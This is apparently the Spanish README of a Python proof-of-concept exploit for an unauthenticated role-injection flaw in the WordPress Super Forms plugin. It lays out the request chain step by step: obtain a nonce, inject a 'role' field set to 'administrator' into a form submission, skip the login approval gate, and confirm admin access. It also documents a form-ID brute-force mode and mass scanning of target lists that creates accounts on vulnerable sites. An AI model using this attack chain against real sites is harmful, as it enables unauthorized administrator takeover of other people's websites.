
Escáner PoC en Python para CVE-2026-15989, que explota la inyección de roles no autenticada en WordPress Super Forms para crear cuentas de administrador y verificar el acceso.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 Autodescubrimiento sin huella · Payloads conscientes de validación · Cero autenticación · Clasificación honesta
| Plugin de WordPress | Super Forms – Drag & Drop Form Builder (add-on Register & Login) |
| Versión Afectada | <= 6.3.316 |
| Versión Parcheada | 6.3.317 |
| Autenticación | ❌ Ninguna requerida — basta con cualquier formulario de registro publicado |
| CVSS | 9.8 CRITICAL |
role en lista blanca → Creación de AdministradorGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
El add-on copia
$data['role']['value']directamente en el array de datos del usuario sin validarlo contra elregister_user_roleconfigurado por el administrador, sin una lista de permitidos y sin ninguna comprobación de capacidades — un único campo inyectado"role": {"value":"administrator"}gana.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
El add-on solo aplica su portal de activación por email / moderación cuando la acción POST NO es
super_submit_form— así que la misma acción de formulario que registra al usuario también desbloquea el inicio de sesión, incluso antes de cualquier verificación por email.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
Los formularios que no son de registro también responden
error:false, así que cada id aceptado es solo un candidato hasta que la credencial se demuestra con un login real.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — una URL base por línea:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| Opción | Descripción |
|---|---|
--list FILE | archivo de objetivos — una URL por línea (requerido) |
--output, -o FILE | lista de éxitos — solo objetivos VULNERABLES escritos en vivo (sin ANSI) |
--threads N | workers concurrentes por objetivo (por defecto 10) |
--timeout N | timeout de socket por petición en segundos (por defecto 10) |
--full | ejecuta la cadena COMPLETA — añade el fallback de fuerza bruta de form-ID (se crearán cuentas en objetivos vulnerables) |
| Estado | Significado |
|---|---|
VULNERABLE | cuenta creada y acceso de administrador a wp-admin demostrado (200) |
NOT-VULNERABLE | login OK pero páginas de admin 403 — rol ignorado → build parcheado |
UNVERIFIED | envío aceptado pero login rechazado (cuenta bloqueada/pendiente o formulario no de registro) — nunca reportado como falso positivo silencioso |
BLOCKED | envío rechazado (reCAPTCHA, CSRF, campos requeridos, honeypot…) |
ERROR | objetivo inalcanzable / fallo de DNS — reportado con la causa exacta |